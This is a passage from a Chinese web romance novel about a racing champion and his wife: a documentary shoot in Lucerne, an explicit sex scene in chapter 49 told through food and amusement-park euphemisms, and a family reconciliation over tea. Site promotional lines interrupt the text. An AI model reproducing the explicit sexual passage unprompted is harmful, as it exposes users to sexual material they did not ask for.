末了回到室内,单独采访时,瑞秋问:“傅先生,再次回到这里,这个差点夺走你一切的地方,您会害怕吗?如果您当时没能活下来,后来世界冠军等那些容易也都不存在了。”
傅蔺征垂眼沉默几秒,唇角淡淡挑起:“其实昨天我来卢塞恩的时候,我承认我有点难受,但后来,我太太知道了这件事,赶过来陪我。”
他回想着:“今早当我打开酒店房间门,看到像个小雪人似的她的时候,那一刻我觉得什么都不怕了。”
男人抬起黑眸,视线越过镜头,落向后方的容微月,眼底泛柔:
“对比于我太太,世界冠军那些荣誉不算什么,曾经我也以为自己什么都失去了,可现在她在身边,我知道,我什么都没输。”
“曾经我追求事业的成功,但现在对我来说,有她一个,就足够了。”
不论是碌碌无为,还是功成名就,不管是跌入低谷,还是立于高峰,他看过世间万千繁华风景,都不及一个眼前的她。
上天是眷顾他的。
哪怕等待了六年,最后结果是值得的。
容微月对上他
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的目光,泪光盈盈,弯起唇畔。
纪录片拍摄到达尾声,最后,SEDR节目组竟然给傅蔺征准备了一个特别惊喜,他们邀请来了当年工程车上的工程师以及他的一家。
六年前工程师刚满三十岁,和相恋四年的女友结婚,六年过去,他和太太育有一个漂亮可爱的女儿,一家三口格外幸福。
他们看到傅蔺征,落泪感激鞠躬道谢,说他拯救了他们一家,现场的人也被触动,都红了眼眶。
傅蔺征和容微月和工程师夫妇热情交谈,夫妇看到傅蔺征如今收获美满家庭,也特别感动。
傅蔺征婉拒了他们请客吃饭的邀请,小女儿当场画了一幅傅蔺征和容微月的卡通画送给他们,画面里一男一女两个可爱小人牵着手,站在蓝色的海面,而天空有一枚弯弯的月亮,父母问她为什么这么画,小女孩笑着指了指容微月和傅蔺征的那对婚戒——
是月亮与潮汐。
他们相伴相守,再不分离。
小女孩递来,容微月摸摸她的头,感动收下。
晚上拍摄结束,劳斯莱斯一路驶下山,窗外的雪已经停了。
夜幕低垂,路灯温暖照亮前方的路。
容微月看到傅蔺征整个人放松了许多,知道今天这趟旅程不是揭开他的伤疤,而是真正治愈了他。
她轻勾他的手,柔声唤:“傅先生。
“嗯?
她凑到他怀中,眸光亮起:“你现在在我眼里就像在发光。
她今天才知道,当时的他有多不容易,有多厉害。
“有人说,你喜欢一个人,不能只因为他对你好,而是因为他本来就是很好的人,傅蔺征,你救了别人,也救了自己,你是我一辈子的骄傲。
傅蔺征勾唇,“难得,评价这么高啊?
“是不是尾巴又要翘上天了?没事,今天允许你翘一下。她笑笑。
傅蔺征懒声笑,在她眉眼落下一吻,低声落下:“是因为有你,我才能活成更多人的骄傲。
他们都在帮助彼此,成为更好的人。
车里一路下山,乔纳森给傅蔺征发信息,说初步看了眼,下午的素材效果很好,到时候剪辑出来的成片会先给他过目,后期是否公开,全看傅蔺征个人意愿。
晚餐时,傅蔺征也给家里人打了电话,也把容微月当年发生的事告诉她们,霓映枝没想到自己接到的那通电话造成了那么大误会,愧疚得不停道歉,容微月说当时也是阴差阳错,反过来宽慰她:“妈,你现在待我那么好,当初的事我早忘了,而且谢谢妈照顾我,我现在觉得很温暖。
霓映枝感动,月月真的是个太好的姑娘了。
傅蔺征说好在他们已经
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第 49 章 chapter49窗外的白絮茫茫...
第49章第四十九章
【chapter49窗外的白絮茫茫,远处的阿尔卑斯……】
chapter49
窗外的白絮茫茫,远处的阿尔卑斯山脉静卧在雪雾深处,窗外的街道上行人稀少,寒风猎猎。
可此刻的室内,暖意却熏得玻璃上泛起一层白雾,如春而至,草木初生,蝴蝶纷飞,窗户那朵纯净的白山茶花,露水丰沛,明艳绽放。
客厅里灯光炽白,一切却隐在暗处,傅蔺征浑坏的话蛊落在她耳边,小姑娘挂着泪珠的眼睫如小蒲公英羽毛扑簌,白软面颊染上红晕。
自打那次她发烧到今天一周的时间,傅蔺征老实多了,他们都少之又少,傅蔺征来瑞士前晚也只是浅尝辄止,对于俩人来说早已旷了太久。
何况如今解开了所有的误会,坦白了所有情意,两个心毫无拦阻,可以真正相依。
不够覆地翻天,怎能弥补这六年缺失的时光。
而且这次傅蔺征从瑞士回去,是肯定会要她的,谁知小姑娘自己跑来,早晨饿得喵喵叫到晚上,刚刚还那么调皮,现在他怎么可能放过她。
开餐必然风卷残云。
此刻她逃无可逃,被牢牢锁住,已然相拥在最深刻的爱中。
烤肠店深夜营业,隔壁的鸡蛋铺子也开了门,小姑娘一光临,一口烤肠两个鸡蛋,就给她一口闷下。
烤肠焦香喷香,冒着热气,鸡蛋也圆鼓,她的小胃口着实一开始有点费劲儿,赶忙挤了两口青梅汁才滑得没有噎着。
舞爪张牙,肆意凶悍,已经预热了一天,此刻像是一个火漆戳落下,重重印为他的标记物,容微月心跳像跳跳糖般噼啪炸开,泪珠悬在睫毛上,映着昏黄灯光欲堕。
她眼尾泛着红意,唇瓣被咬得发白,小猫咪嗫嚅出声:“我、我不会呀……
被抓去帮烤,她还没学过厨师证呢QAQ.
她无辜的杏眼纯得像只小白兔,可骨子里明明就是只小野猫,傅蔺征黑眸深红,压迫感沉沉,跟烧到三十九度似的,把想逃的她按住,嗓音低哑:
“装什么?高中的时候就会了,根本不用我教,宝宝天生就好棒,能让人疯了。
傅蔺征两条腿大喇喇敞着,把女人圈在怀中,腿比她手臂还米且,腿毛很黑,肌肉紧如铁铸,绷如拉满的弓,青脉线条爆棚,昭示着强大的力量感和压迫感,那时候的力道近乎恐怖。
往常的时候,傅蔺征起码连番,可现在却毫无施舍,宁愿把逼得自己眼红,却仍旧死死钳着她无动于衷。
烤肠老板**了QAQ……
心头羽毛骚痒,空缺袭来,她脸颊绯红咬唇,泪汪
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汪:“傅蔺征,你、你过分……
他勾唇,好浑:
“我就这么过分,怎么办啊?
她气鼓鼓咬他喉结,傅蔺征把她搂在怀中,吻她耳垂,哑声哄:“宝宝,把我当玩具好不好,想怎么玩都可以,全是你的。
想要她nong疯他,把一切都给她。
卢塞恩的深夜有个很大的游乐场。
小姑娘过去后,取到了十二小时不限次数的夜场票,到达旋转木马处,她不知道这马的威力,手心紧张得微微冒汗,却还是跌跌撞撞攀着,乖乖坐好。
机器启动,她手和他十指紧扣,开启旋转木马。
从害怕,到逐步适应,再到喜欢,小姑娘的胆子越来越大。
玩了旋转木马,她又去玩了**机,升起到达最高处,她心头害怕悬起,下一秒猛然坠落,以为自己要碎掉,可却被牢牢接住,再被反作用抛起。
只有唯一的支点,眼圈被逼得红通通的,小猫扑腾得再慌乱,也只能依附在男人怀中。
窗外夜色深沉,寒雪纷飞,冷风打在玻璃窗上,簌簌作响,酒店总统套房的窗帘紧闭着,将所有寒意都隔绝在外。
室内仿佛是另一个世界,灯光温暖,空气里郁馥着清甜的白茶香。
一块棉花糖被送入烤箱中炙烤。
塌了下来,又甜又软。
半晌容微月脸上的汗珠滴落和泪水混合,咸涩被他吻入嘴中,傅蔺征按住她,忍不住爆了粗口,嗓音沙哑:“宝宝,song点,你是要jia断我?
“我没有……
她委屈得睫毛上挂着泪珠,可背道而驰,傅蔺征眼底沉沉,打辟谷,气音撩灼:“宝宝还说没有?知不知道老子有多*?
时针摆过一刻,她举起小白旗倒在他怀中,摇头哭:“老公,我不行了。
傅蔺征眼底沉下,和她换了位置,拿过主动权。
几乎是极大烈意。
小猫喵喵大叫。
傅蔺征疯得抛去理智,抱着她起身走,按到窗前,俩人的世界只剩下彼此。
回到沙发,她哭着躺在他怀中,傅蔺征掌心强制按住她后颈,铺天盖地的吻落下。
小姑娘如虾蜷缩,一副委屈又可怜的模样。
她失去了大脑的掌控权,都被他俘虏,努力了许久才又爬上岸脱离了窒息感,傅蔺征退去凶戾,勾唇哑声笑:“宝宝,明天沙发要付清洗费了。
她落泪瘪嘴:“呜呜呜傅蔺征讨厌你……
他这么能那么fast,宛若筋膜枪开到了最大档。
傅蔺征呼吸着,痞坏扯唇:“宝宝,我刚刚都怕把你*san架了。
她也这么觉得……
容微月羞得整个人躲
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起来,不知道明天保洁人员过来看到会怎样想:“我不理你了……
傅蔺征痞拽笑着:“老子让你…成这样,现在翻脸不认人?
她脸颊通红,小声问他是什么感觉,男人的浴袍早已掉在窗户口,下颌的汗珠从胸膛滚落,啄着她脸颊,喟叹:“宝宝,我也*翻了。
他想要什么,她都能成千百倍地回馈。
无与伦比的般配。
傅蔺征把伞扔到垃圾桶,她小声嗫嚅:“这次没有破吧?
傅蔺征勾唇:“没有,上次是买小了。
刚刚在楼下的店里,很多选择,但傅蔺征在外国人这边也算是恐怖了。
拿起剩下的,他单手抱着她往卧室走去。
世界再度颠倒。
“傅蔺征,你……
刚刚对他来说都是开胃前菜,他眼底深沉:“宝宝还有好多,继续榨,嗯?
小姑娘娇气:“我不想动了……
傅蔺征笑:“就你这体力,还一天到晚叫嚣?怎么这么没出息啊?
“你不单单是累,是……
是没办法达到那种happy。
傅蔺征唇角弧度挑起,把蝴蝶翻面,哑撩的嗓音落在在她耳后:“平时给你胃口撑大了,su度li道没跟上当然不行。
唔……
容微月话在嘴边打转,却找不到反驳的理由,傅蔺征侧首吻她脸颊,“交给我,今晚想要什么老子都能给你。
容微月脸颊埋进枕头,傅蔺征宽大的身型像一堵墙壁覆盖而来,摄魂的声音笼罩:
“小猫,腰再塌下来点。
她面颊通红,甘愿当他的猫。
-
夜里不知几点,窗外的雪悄悄停了。
空气里弥漫着山茶花的甜香。
凌晨三点,烤肠店关门了,鸡蛋批发店也清仓了。
小鱼被抱起,换到另外一个房间。
还好总统套房够大。
翌日,窗外灿烂的日光升起,屋檐上的白雪微微消融,世界一片皎洁纯净。
容微月一觉睡到日上三竿。
醒来时,她发现房间里只有她一个。
扑腾了好久。
小鱼自己给自己挂上鱼钩,把自己努力拎起来。
未着一物,薄被从她星星粉粉的肩头滑落,身子宛若被泡进了柠檬青橘水中,酸溜溜。
她抬头看到斜对面镜子里——
她唇瓣嫣红,面容盈盈泛光,白到发光的肌肤上到处洒满樱花花瓣,尤其是那几处。
无一不是傅蔺征留下的标记。
真是从内到外都被他*透了。
若是有人见到这幕,必能看出她肯定是被好好滋养了一番,甜腻至极。
傅蔺征的yin实在太大,
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又是小别胜新婚,又是和她彻底说开当**,爱意都得到巨大xuan泄,她也忍不住回应,恨不得把积压在心里六年的爱意全部告诉他。
本来他们又是要到天亮,但傅蔺征到底理智更占上峰,生怕她再发个烧,草草五次就鸣金收兵。
脑袋晕了会儿,她又倒下去。
呜呜呜是小破烂猫了……
也不知道傅蔺征去哪儿了,她累唧唧靠着枕头,看向门外,轻声喊了句:“傅蔺征。
没反应,她又叫:“老公。
没人应。
她软声撒娇:“他狗狗……
这时,房门被推开,穿着浴袍的男人走进来,领口半敞,古巴链贴着修长脖颈,带着挠痕的胸膛肌肉硬朗分明,那枚月亮刺青明显。
看到她,“睡醒了?
容微月不禁笑应了声,傅蔺征过来上来,把她搂进怀中,她抚着月亮刺青,咕哝:“你刚刚在哪儿啊?怎么醒得这么早。
“在外面处理点工作,刚开始你叫我,以为是停错了。
她浅笑看他:“我叫你老公你没反应,叫你狗狗就进来了,好乖啊,跟呼呼一样,立刻跑进来了。
“……
傅蔺征脸黑掐她脸,“老子是狗是吧?
容微月眉眼弯弯,“是啊,你不愿意当我狗狗吗?你要是当的话,你比呼呼重要一点噢。
傅蔺征扣住她后脑勺索吻,把她吻得小口呼吸着,软唇胭红,他停下来,盯着她哑声道:
“不能亲了,再亲下去,我又想要了。
容微月眨眼看他:“好呀。
傅蔺征被她撩得低低轻笑,吻着她耳垂,揶揄:“大白天这么饿啊?宝宝,我昨晚没喂饱你?
她害羞说开玩笑,他勾唇低声道:“你知道今早我收拾房间收拾了多久么,到处都是你的。
容微月害臊,傅蔺征偏偏坏得没边:“宝宝昨晚状态好好啊,平时我一ci、你五六ci,昨晚我一ci、你十来ci,没几下就*,还好套房够多。
昨晚她也不知道是怎么了,特别大胆,可能是因为说开当**,也是因为在异国的酒店,总有种无人认识,就毫无顾忌的感觉。
容微月脸颊温烫,埋脸在他颈窝反怼他:“昨晚你刚开始不也比平时快……
傅蔺征圈着她,咬她耳垂:“宝宝,你知不知道你多会摇,你以为我能撑多久?sao**。
第一次听到他这么形容自己,容微月脸颊唰得一下红了,知道他不是侮辱性的意思,还是娇娇地反驳说才不是,傅蔺征倾身而来,气息沉沉:
“难道宝贝不sao?你知不知道你昨晚扶着穿衣镜是怎么扭的,老子直
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
接就交了。”
从高中调到现在,她早已是宝贝。
傅蔺征比一般人都坏,什么都做得出来,可偏偏她都能接受,在外人面前她清冷端庄,可另外一面只给他看,反差至极。
容微月脸红如滴血:“那你都交完了吗?”
“不好说,需要你检查。”
他眉梢挑起:“今晚回家继续,嗯?”
……反正接下来连续几天是逃不掉了。
她羞得让他克制点,要好好补补,俩人打情骂俏半晌,傅蔺征抱她下来去洗漱。
早晨吃完早餐,收拾好行李,纪录片节目组那边也说没什么事情了。
因为都有工作要处理,俩人在卢塞恩简单逛了半天,就飞回了京市。
这次去卢塞恩,两人彻底解开了心结,在两人心里,所有的事情都不能阻挡他们的感情,而现今面前最大的难题,就是容承业和盛柳对他们的态度。
晚上,两人窝在窗前聊天,容微月和他讲着这些年在家里受的伤和委屈,末了轻声道:
“其实从前我很想要他们的疼爱和肯定,可是我的性格就是和我爸相处不来,我们总是吵架,我不想退让,他也是。”
小姑娘是吃软不吃硬的性格,傅蔺征也知道,那次给隔壁班老师过生日的饭局,他嘴硬吃醋质问,她也毫不低头,说着难听的话刺伤他,但明明她也很爱他。
容微月闷声道:“但现在我没那么在意了,我独立了,我也在我和他们之间立了边界,我不需要他们多疼爱我,我只是不想看到你被他们伤害。
我不想和他们闹翻,也不会像弟弟和他们一样亲近,我只想把这件事处理好,让我可以和你安心地结婚,过好我们的日子。”
傅蔺征闻言,心疼地把她抱在怀中,摸摸她头发,“我都知道。”
他知道她所有的脆弱和柔软,她只是不想再受伤,不想再在这段亲情中一次次内耗。
他柔声道:“不用怕,交给我,所有的事情我们一起扛,你现在不是一个人了。”
如果六年前他知道,他当时就会去解决,但等了这六年,他们都变得更加成熟独立,也更知道该如何处理。
她莞尔在他怀中点点头,抱住他。
忙碌两天,容微月也收到了盛柳的消息——
他们旅游回来了。
晚上在客厅,容微月逗着呼呼玩,和傅蔺征说了此事,傅蔺征问:“那就把爸妈约出来,我们一起喝个茶?”
她挲着手腕的月亮疤痕,心底泛开紧张,傅蔺征揉揉她的脑袋,桀骜一笑:“没事,你老公什么场面没见过,什么情况没处理过?交给我。”
男人拖腔带调感慨:“大概没人懂我,像我平时都要
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竭力克制着不要散发太多魅力成为万人迷,但凡我主动,没有人不喜欢我的,连路过只小狗都要朝我摇尾巴。
容微月:“……?
一旁的呼呼盖住蒲扇耳朵,头钻入麻麻怀中,默默压下了尾巴。
容微月看他还有心情臭屁,不禁笑:“行,你尽情发挥吧。
反正有他在,就是她最大的安全感。
俩人商量完,容微月就联系了父母和弟弟,约他们第二天出来喝茶,却暂时未提具体缘由。
第二天下午,傅蔺征和容微月先一步到达市中心。
市中心一个古巷尽头里,一座中式会所安静伫立,灰白清水砖墙下是朱红色漆门,门扉上雕刻着海棠花,门额悬挂一块黑色鎏金的“松风阁牌匾,闹中取静,低调奢华。
推门而入,视野豁然开朗,小院内铺着青石板路,两侧种着翠竹和梅花,水池清澈,几只红色锦鲤轻快游动,掀起涟漪。
空气中漂浮着淡淡的花香,古意盎然。
容微月路上还很忐忑,但此刻看到如此淡雅的景色,心慢慢宁静下来,没想到京市寸土寸金的地方还藏了这么个世外桃源。
会所负责人前来迎接,含笑恭敬道:“傅总,傅太太,下午好。
傅蔺征应了声,揽住容微月,带她往里走:“这是我之前投资的一个会所,你以后和人谈公事可以带来这里,反正现在这儿是你的了。
这地方婚后傅蔺征就转给了她,还有世界各地数家店铺、会所、山庄等,每个月的租金分红动辄上千万,都会打到她卡里。
容微月朝他弯眉,轻笑:“感觉我都把你的钱包压榨干了。
傅蔺征勾唇,倾身在她耳边道:“何止是钱包,我人你都可以榨干。
“……
这**白天骚话张口就来,她羞得轻打他。
俩人被引入二进院右侧的一间临水茶室里。
推开雕花隔扇门,屋内被整片落地窗照得明亮,竹影斑驳倒映在木质地面上,窗旁是一个花梨木长桌,炉架上正慢慢煮着一壶茶,雾气袅袅,茶香氤氲。
侍者送上茶点后离开,容微月和傅蔺征在一排坐下,她环视着周围,酒窝塌陷:“能挑到这么雅致的地方,不像是你的风格呢。
“你爸不是喜欢喝茶,我就想到了这里。
傅蔺征靠坐在椅子上,把玩她的手:“关于茶我都一窍不通,还是昨晚去我爸那儿学了几招,等会儿你得帮我。
“哦,还有你不擅长的地方呢?
傅蔺征把玩着建盏:“这我真擅长不来,我从小到大最讨厌喝茶。
她浅笑:“放心,我帮着你。
容微月看着窗外的海棠树
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
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,紧张得抿了抿唇:“我不知道等会儿他们是什么反应。
傅蔺征摸摸她的头,“别担心,我们好好沟通,他们会听的。
她点点头,“嗯。
十分钟后,会所门口,一辆黑色宾利停下。
容承业、盛柳还有容新旭下了车,容新旭抬头看向会所:“松风阁,这名字好好听啊。
盛柳也四处看着:“也不知道月月怎么不回家,把我们约到这里。
容承业转头看向容新旭:“旭旭,去后备箱把你姐姐爱吃的青橘蛋糕拿下来,不放冰箱会化掉。
“好嘞。
“还有给你姐姐买的那些礼物也带下来,最大的箱子放在车上,今晚再给她。
提着东西,三人步入松风阁,院中花香四溢,悠然宁静,盛柳慢慢走着,对丈夫再度嘱咐:“你今天不许再凶月月了,听到没?
这次去旅游,盛柳和容承业也在思考,为什么女儿越长大越和他们这么不亲,容承业向来严厉苛责,而她也没了解过女儿的真实想法。
当年的小提琴比赛的事一直是双方的隔阂,没解开,盛柳说,大女儿已经不在了,如果小女儿再慢慢疏远他们,该怎么办。
容承业闻言,神色不自然道:“知道了,你都念叨一路了。
“哪次你听我了?你这脾气都不能改改?你要再和月月吵架,我今晚就回娘家。
“诶你……
容新旭也附和:“对啊爸,那次我生日你都把我姐气跑了,你要再这样我今年寒假也不回家了,你孤家寡人自己过年吧。
“……
容承业轻哼了声,但也没反驳,这时侍者迎上前,得知他们的身份,将他们领向二进院。
院门推开,容微月和傅蔺征已经等在那里。
容微月一身烟白色呢旗袍,乌发红唇,剪水双眸,面容清冷温柔,傅蔺征站在她身侧,一袭灰黑长大衣,身姿修长挺拔,骨相周正,薄唇挺鼻,浑然天成的气场压不住,收了几分桀骜,多了几分矜贵。
清风卷过,两人携手站在松树下,般配如画。
看到容微月,容新旭快步走进去:
“姐——
于此同时,他看到了容微月身旁的傅蔺征,帅得张扬无比。
最惹眼的,是他们牵在一起的手。
嗯??
容新旭愣住,容微月轻声唤他:“阿旭。
容承业和盛柳也走到面前,看到傅蔺征,没认出他是谁,也一时间愣住。
容微月淡声唤人,傅蔺征旋即颔首,低沉开口:“叔叔,阿姨,下午好。
容承业愕然,上下打量傅蔺征,盛柳则是第一眼就被傅蔺征的外貌和气度惊艳,心底暗暗
听说看这本书的人都是很幸运的,分享后你的运气会更棒
点头,笑笑淡淡涌现:“你好……
“叔叔,阿姨,阿旭,我们先进去坐。傅蔺征做了个请的手势,容承业和盛柳对视一眼,往里走。
容承业看妻子,用眼神问:【是女儿男朋友?】
盛柳眼睛亮起:【不知道啊,但是好帅啊。】
容承业无奈:【……肤浅。】
容新旭也频频偷偷打量傅蔺征,发现傅蔺征比他还高了点,而且身材好好,这肌肉是咋练出来的……
走进茶室,几人坐下,容新旭把手里的东西拿给容微月:“姐,这是刚才我们来的时候爸拐去澜高门口给你买的,你爱吃的青橘蛋糕。
容微月微怔,傅蔺征帮忙接过,招呼三人坐下,容新旭激动挑眉,率先问出口:
“姐,你这是谈恋爱了?
容微月和傅蔺征对视了眼,傅蔺征握住她的手,看向他们,郑重开口:“叔叔阿姨你们好,我是傅蔺征,我是月月的……
三人被他名字先吸引。
傅蔺征?!!!
傅蔺征语气顿了下,后半句话还没说,盛柳记起来:“月月,他那不就是你高中时候那个……
他们自然知道傅家,京市四大家族,最有威望的百年豪门,在全国乃至世界都有名号,而傅家有位长子名叫傅蔺征,明恒集团的太子爷,驰名世界的F1冠军赛车手,还是当年和女儿分手的人。
之前只是在电视上看过,如今真实出现在眼前,三人后知后觉才反应过来。
竟然是傅蔺征!!
容微月淡声回应:“嗯,高三和我谈恋爱的就是他,我们分手了几年,现在复合了。
她又淡声扔出一个**:
“准确来说,我和傅蔺征已经领证了,现在他是我老公。
“领证?!!!
“这什么时候的事?!
三人瞪大眼睛,容微坦然道:“你们出国旅游没几天,我们就领证了。
盛柳怔愣:“月月你怎么突然……
“胡闹!
容承业脾气炸起,一口气差点喘不过来:“结婚这么大的事,说结就结了?!都不提前商量一下,你眼里还有没有我和你妈?!
容承业目光逼向傅蔺征:“肯定是你哄骗我女儿的!
容承业就是个炮仗,一点就炸。
他气得转身往外走,盛柳着急拽住他:“容承业,刚刚你怎么答应我的?我们先听他们说完,你急什么?!
容新旭也拉住他:“爸,你不是最盼着姐谈恋爱,催她相亲的也是你,骂她结婚的也是你,你几个意思啊?!
“……
容承业一时语噎,眼睛被逼得通红:“结婚这事对女孩子来说很重要,她万
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
一被人哄骗了怎么办,而且都一个多月了,到这么迟才告诉我们……”
容微月目光沉静,抬头看去:
“你误会了,是我提出的结婚,而且是我让傅蔺征先瞒着你们,没有其他的意思,就是想着等你们回来当面告知更好,还有,为什么一直以来遇到事情你永远先凭着你的主观判断去发脾气?你了解过真相吗?六年前是这样,今天也是这样。”
容承业神色突然绷住,盛柳也劝道:“对啊,你着急能解决问题吗?你走了他们领证的事实就改变了?”
这时傅蔺征起身走过来,目光沉和看向长辈:
“爸妈,我和月月结婚,我应该第一时间前来拜访的,是我处理不周,不合礼数,但无论如何,我对月月是认真的,也请你们听听事情的前因后果。”
傅蔺征从小肆意狂妄,向来只有他给别人甩脸色的时候,若要六年前他也忍不了一点,但此刻这般态度,不是出于讨好,而是出于对小姑娘的爱。
他答应过,要为她解决所有难题。
傅蔺征敛了浑身的桀骜气场,容承业看向他,眼神微动,末了压下怒火,绷着脸走回去。
壶中白雾氤氲,傅蔺征拿起茶壶,先看向容承业:“爸,您尝尝这个普洱如何?月月说您平时喜欢这个,这是勐海七子饼的陈年茶,新会的老师傅帮我特意存放过,汤色透亮,入口回甘。”
容承业听着这声“爸”,脸色绷了几秒,喉间像卡了铁块,几秒后才含糊道:“随意。”
傅蔺征转头看向盛柳,语调温和:“妈,您也喝这个可以么?”
盛柳愣了愣,淡笑:“我都可以。”
傅蔺征给两人斟茶,而后看向容新旭:“阿旭,你喝茶习惯么?这里还有其他饮品。”
容新旭笑得开朗:“姐夫,我喝啥都行。”
容承业:“……”
他给儿子投去无奈眼神,傅蔺征压下唇角,给容新旭倒茶,“那就先试试这个。”
随后傅蔺征放下茶壶,低沉开口:“之前没见过,可能爸妈还不了解我,我先做个自我介绍。”
接着,傅蔺征做了个长达五分钟的自我陈述。
从家庭背景、家庭成员、经济实力,再到他的学历和事业,傅蔺征详细着将自己过往人生展现在他们面前。
自幼身为明恒的**人,傅家对傅蔺征进行着全方位的培养,不单单是赛车,还有马术、冲浪、射箭等许多运动,对他还有资产管理和公司管理的历练,傅蔺征在许多方面都优秀得无比。
从小到大,他天资聪颖,拿过的奖杯和荣誉无数,平日里会高傲,是因为他真的有资本。
他个人的优秀和努力,加之庞大的
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第 50 章 chapter50傅蔺征话落,茶...
第50章第五十章
【chapter50傅蔺征话落茶室里……】
chapter50
傅蔺征话落茶室里沉寂了许久。
盛柳脑中空白第一次听到女儿多年来压抑在心底的委屈和难受泪如雨下:“月月……妈妈都不知道你生病了……”
傅蔺征的每一句话都像是一面镜子将她在这段母女关系中的忽视和失败赤裸裸地反照出来。
都说孩子是母亲身上掉下来的一块肉骨肉相连血浓于水本该是最亲近的可是她对女儿那么疏忽孩子不说她便觉得无事孩子不提她便以为不需要时间久了她和女儿之间的隔阂被她一点点拉大。
他们只看见容微月瘦却不明白她为什么这么瘦;他们不理解她为什么不愿意继承公司却不理解她的独立和倔强;他们难过她和他们不亲近却不明白是他们先推开了她。
每个孩子的性格都不相同曾经的大女儿开朗明媚小儿子活泼外向唯独容微月敏感内敛他们总是觉得“不好”试图去扭转去纠正却从未追溯根源
盛柳性子的软弱、对丈夫的妥协也成为了伤害女儿的帮凶为什么她没有早点发现女儿的心理问题没有多给她一点关爱而是一直告诉她他们也是为她好……
愧疚感像一把刀剜开她的心口疼感蔓延全身:“是妈妈错了……是妈妈对不起你……”
一旁的容新旭听着早已红了眼眶忍不住起身过来抱住容微月:“姐当年你小提琴比赛的时候我还小我还不够强大要是我再长大一点就好了我就能保护你了……”
容新旭真的很爱姐姐从小到大不管她和父母的关系如何紧张她都从来没有迁怒到他身上容微月总是把好吃的让给他牵着他上学安慰他鼓励他他一直都觉得此生很幸运有这么好的姐姐。
可是随着容微月和父母的隔阂越来越深其实他也开始小心翼翼不知道该怎么和姐姐相处怕她不开心怕她难过他也想黏在姐姐身边更希望看到姐姐每次在家里都是开心的。
容新旭难过:“如果我没有出生就好了这样也不会分走爸爸妈妈的爱你也不会生病了……”
容微月听到这话眼底瞬间涌泪鼻酸摇头“阿旭和你没有关系……”
听到姐弟俩的话容承业垂着头眼底通红沙哑:“怪我是我的问题。”
女儿的抑郁症诊断书被他攥得发皱他忍不住抬手给自己扇了个巴掌也像是老天给他了一个巴掌把他这么多年来的无知和傲
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慢狠狠击碎:“是我把月月害成了这样……
大女儿不在了,他不是更多关爱二女儿,而是把更多的期望和苛责压在她的身上,把家变成了牢笼……
曾经看到容微月很优秀的时候,他还沾沾自喜觉得是自己的教育方式很好;她不听话顶撞他的时候,他哪怕知道是自己错了,还是要面子不愿意低头;他想培养她的受挫能力,把严格当成爱的证明,却把她害得自卑又压抑。
这么多年,他活得自以为是,大错特错……
容承业说当年小提琴比赛结束,在家里和女儿吵过一架后,他就知道是自己误会了她,他和盛柳事后也去找过赛事方给女儿撑腰,但事情也没得到处理。
可是他总是发了脾气后才站在女儿身边,保护比伤害来得迟又有何意义,其实他也希望女儿可以和他亲些,可正是因为他的态度,才让他们之间变得疏离陌生。
容承业:“月月,今天要不是蔺征把你心里的想法说出来,我都不知道你心里压抑了这么久,是爸爸做得不对……
容微月低着头,眼底濡湿,容承业望向她,声音颤抖:“这么多年是爸爸对你太严格了,当年我不该没有听你解释就骂你,更不该说……假设晴晴还在的话就不会对你有期望。
“那个时候是我太生气了,我说话就没有注意分寸……
如果当年明恒之杯的事发生后,他换个态度,选择包容和保护,容微月就不会偷偷改志愿逃去杭市,不会和喜欢的男孩分手,大学也不会过得那么辛苦,一切可能都不一样了。
他还记得很小的时候,容微月是很黏人的,她会钻到他怀中撒娇要他抱她骑高高,可不知是什么时候那些亲近都消失了,只剩下了争吵和冷战。
甚至他今天来之前,心里还端着架子,想着要看看容微月的态度。
容承业没想到会把女儿害到抑郁:“月月,爸爸以后不会再凶你了,你能不能原谅爸爸,给我个改正的机会……
盛柳落泪:“月月,爸爸妈妈知道错了……
容微月垂下眼,杏眸如杯中的普洱茶泛起涟漪,眼眶被热气熏得发烫,沉默几秒后开口,声音很低:
“爸妈,我知道你们是为了我好,但是我曾经受过的那些伤,我没办法忘记。
“对我来说,那些痛是真实存在的,亲身经历的是我。
“我曾经也想过告诉你们,但是我觉得就算我说出来,你们也不一定会理解的,我改变不了你们,也不想改变我自己,我只想逃离。
容微月声音带着隐忍的哽咽:“就像现在,我还是不喜欢回家,也害怕和你们聊天,我也不知道该怎样能和阿旭一样自然
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地和你们说说笑笑,和你们撒娇,我已经不知道该怎么和你们相处了,所以我和傅蔺征结婚,也不想和你们说,我害怕你们再次介入我好不容易开心一点的生活。
对面两人听着,心口刺痛,泪水无声落下,容微月喉间干涩:“你们的道歉我听到了,我不会恨你们,但我也没办法在这一刻就原谅你们,我需要很久的时间才能从那些阴影中走出来,也可能……一辈子都走不出来。
过去的伤痕,哪怕痊愈也会留下疤痕的,过往十几年她所有的痛,不是此刻的道歉就能轻描淡写抹去。
容承业和盛柳难过无言,容微月反握住傅蔺征的手,轻声开口:
“刚才傅蔺征说我是他活下来的唯一动力,对我来说,他也是我生命里最大的温暖,你们可能看他不好,但是他对我来说就像个太阳,让我慢慢打开封闭的自己。
容微月看向身旁那个从青葱岁月守护她到如今的男人,泪意朦胧:“高中的时候,你们不同意我练小提琴,是他带我去琴房陪我练习、陪我参加比赛,我难过时,他总是在我身边哄我开心,鼓励我给我信心,有人欺负我,他会毫不犹豫地挡在我前面,我不需要在他面前表现得很优秀很乖巧,不用担心犯错会挨骂,因为我知道——无论我变成什么样子,他都会爱我。
在这个世界上,唯一无条件的爱,是傅蔺征给她的。
容微月眼眶滑下泪水:“在他眼里,从来没有家世的差距,他喜欢的只是我这个人,是我一直觉得我配不上他。
“六年前,我不知道他出了车祸,我把他甩了,她泪眼深刻,“可六年后他还愿意走向我,这次我不能想错过他了。
她对上傅蔺征炽红的眼,语调坚定:“所以不管你们同不同意,我都会和傅蔺征在一起。
她可以失去一切,但不能再失去他。
容承业和盛柳闻言,心头被猛烈冲击着,傅蔺征给容微月擦掉眼泪,也道:“爸妈,高中的时候我可能没办法给月月许诺什么未来,但现在我有能力说,我可以护她疼她一辈子,你们可以放心地把月月交给我——我只会比你们想象中更爱她。
高中时,容承业觉得两个孩子的感情是小孩子过家家,傅蔺征那样的富家公子哥肯定不会对女儿上心,可六年过去,傅蔺征狠狠打破了他的偏见。
两个孩子的心意坚定地摆在他们面前,容承业明白,他们并非一时冲动,而是真的彼此相爱,心意相通。
是啊,如果女儿不是真的对这段感情有信心,又怎么会轻易提出来结婚。
而且刚刚傅蔺征说了那么多容微月的优点,反观自己,女儿长这么大以来,他
